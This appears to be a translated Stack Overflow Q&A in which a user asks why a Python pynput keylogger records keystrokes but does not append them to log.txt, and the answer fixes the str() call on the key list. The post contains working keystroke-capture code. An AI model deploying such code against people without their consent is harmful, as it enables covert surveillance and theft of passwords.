我正在尝试创建一个键盘记录器,以便在运行时将所有记录的键附加到文本文件中。目前,它正在记录所有键,但不会附加到设置的文本文件中。
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 10:
count = 0
write_file(str(keys))
keys = []
def write_file(keys):
with open("log.txt","a") as f:
for key in keys:
f.write(str(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
最佳答案
尝试删除您提供给 write_file
函数的 key
周围的 str
。
像这样:
write_file(keys)
当你str
一个列表时,你会得到整个列表作为一个字符串......
关于python - 尝试使用键盘记录器附加文本文件,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/57051477/